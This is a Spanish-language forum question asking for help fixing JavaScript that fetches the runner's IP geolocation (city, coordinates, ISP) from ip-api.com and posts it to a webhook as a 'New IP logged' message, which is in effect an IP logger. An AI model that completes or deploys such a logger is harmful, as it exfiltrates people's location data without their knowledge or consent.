Estoy tratando de obtener datos de una API, enviar los datos obtenidos a una matriz y luego enviar (publicar) esa matriz con los datos en un webhook. Intenté description: data, pero no funciona. ¿Puede alguien ayudarme o es posible con js?
const api = "http://ip-api.com/json/" var ipinfo = [ ] async function getIP() { const response = await fetch (api) const data = await response.json(); const { city, zip, country, countryCode, lat, lon, org, query, region, regionname, timezone } = data; ipinfo.push(data); console.log(ipinfo) } getIP(); function sendMessage() { fetch( 'WEBHOOK URL', { method: 'post', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify ({ allowed_mentions: { parse: ['users', 'roles'], }, // embeds to be sent embeds: [{ title: 'New IP logged', description: "ipinfo" + ipinfo, }, ], }), } ); }